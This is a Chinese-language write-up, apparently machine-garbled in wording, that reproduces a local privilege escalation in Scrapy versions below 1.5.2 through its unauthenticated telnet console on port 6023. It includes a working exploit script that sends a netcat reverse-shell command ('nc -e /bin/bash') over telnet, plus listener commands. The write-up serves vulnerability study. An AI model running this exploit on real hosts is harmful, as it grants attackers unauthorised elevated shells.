*** 抓取结构中运用最多的莫过所以scrapy,但是咱们是否考虑过这个结构是否存在缝隙妮?5年前曾经在scrapy中爆出过XXE缝隙,但是这次咱们发现的缝隙是一个LPE。
经过该缝隙能够获得shell,本文中露出的缝隙会产生影响scrapy低于1.5.2的版别。
0×01 环境建立
Kali体系
Scrapy(v1.5.1)[https://github.com/scrapy/scrapy/releases]
下载压缩包scrapy-1.5.1.zip,然后进行解压履行装置:
Python3 setup.py install
假如装置报错,记住装置python3的pip,然后输入pip3 install Twisted 装置完Twisted模块,再次Python3 setup.py install 就能够完结装置。
0×02 缝隙剖析进程
Scrapy很简单上手,就如同在官网主页上看到的相同简单,能够快速的写一个蜘蛛爬虫。然后再运转的时分咱们能够看到会发动的扩展和一些选项信息,咱们能够清楚的看到默许它会发动telnet服务。
然后这个telnet会监听本地的6023端口。
敞开telnet的原因是便利调试,那么假如有人拜访了这个telnet是不是能够获得一些风趣的东西,并且该控制台会不会在没有任何身份验证的情况下可用然后任何本地用户都能够连接到端口并在运转蜘蛛的用户情况下履行命令,那么是不是会形成本地权限提高(LPE)。
复现LPE
这种运用需求满意两个条件:
1. 开发能够拜访体系
2. 有一个蜘蛛在运转并露出了telnet服务。以下蜘蛛契合此要求,进行初始恳求,然后因download_delay设置而空转
telnet_test.py
import scrapy
from scrapy.http import Request
class TelnetWaitingSpider(scrapy.Spider):
name = "telnet_waiting"
allowed_domains = ["example.org"]
start_urls = ["http://www.example.org"]
download_delay = 1000
def parse(self, _):
yield Request(url="http://www.example.org/")
咱们然后再写一个运用的exp:
exp.py:
import telnetlib
rs = "nc.traditional -e /bin/bash localhost 4444"
tn = telnetlib.Telnet("localhost", 6023)
tn.write(f"import os; os.system('{rs}')".encode("ascii") + b"n")
Exp.py它界说了一个反向shell,连接到telnet服务并发送一行来运用Python履行反向shell os.system。
操作流程
先运用root账户调用Scrapy去运转telnet_test.py,然后经过su调用两个低权限账号,一个担任接纳nc反弹shell,一个担任履行exp.py,然后运转telnet_test的时分履行exp.py。
先运用nc -lvp 4444 监听4444端口;
运转指令:scrapy runspider telnet_test.py;
然后运转的时分 python3 exp.py;
然后获取反弹shell(发现是root)。
成功复现了一个LPE(本地权限提高)。
0×03总结
信息安全的实质是信赖问题,当咱们运用了结构就代表咱们信赖了这个结构,假如结构的安全性不对其进行检测,那么所带来的是毁灭性的成果。